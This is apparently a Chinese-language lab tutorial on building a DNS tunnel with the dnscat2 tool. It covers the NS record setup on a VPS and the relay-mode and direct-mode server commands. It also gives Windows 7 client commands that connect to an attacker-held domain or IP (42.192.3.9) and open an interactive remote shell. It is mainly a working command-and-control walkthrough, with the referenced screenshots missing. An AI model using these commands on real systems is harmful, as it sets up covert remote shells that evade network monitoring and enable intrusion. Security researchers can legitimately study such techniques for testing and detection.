DNS隧道的话,需要一个公网vps,一个域名。
DNS的基础知识可以在b站找到资料,就不过多阐述了。
先设置域名解析,为了后面的中继做准备,这里解释一下,中继的过程需要有一个域名服务器的,我们使用ns解析,指定一个域名服务器,此服务器还是我们自己的vps,ns只能设置子域名!
验证配置是否正确
1.验证第一个A记录是否解析正确:
2.验证第二个ns解析是否正确,这里说一下,虽然我们把index的vps作为域名服务器,但是他实际上没有解析域名的功能,所以需要在vps上抓包查看:
主要说明利用dnscat2进行隧道搭建获取shell
有个小注意点,如果使用中继模式,尽量不要用动态获取的dns服务器,最好指定8.8.8.8等。因为如果用默认的dns服务器的话,会导致迭代查询过慢,然后直接挂了,如下图所示:
中继模式:
vps:ruby ./dnscat2.rb 域名 -e open -c 密码 --no-cache
win7测试连通性:dnscat2-v0.07-client-win32.exe --ping 域名
出现第二个红框表示成功。
win7连接dnscat2服务端:dnscat2-v0.07-client-win32.exe --dns domain=域名 --secret 密码
查看vps,发现有session建立了:
这里查看session,window可以用windows或者sessions
进入session的话用命令:session -i 会话号
shell是进入交互界面,然后会创建一个新的session,进入即可交互。
中继模式到此结束。
直连模式:
vps:ruby ./dnscat2.rb --dns "domain=localhost,port=53" --secret 密码 --no-cache
win7连接dnscat2服务器:dnscat2-v0.07-client-win32.exe --dns server=42.192.3.9 --secret 密码
查看vps服务器:
工具地址:
1.dnscat2:https://github.com/iagox86/dnscat2
2.win客户端(编译好的,当然也可以自己编译),密码是 (password):https://downloads.skullsecurity.org/dnscat2/
3.dns基础知识,去b站看吧,很多的。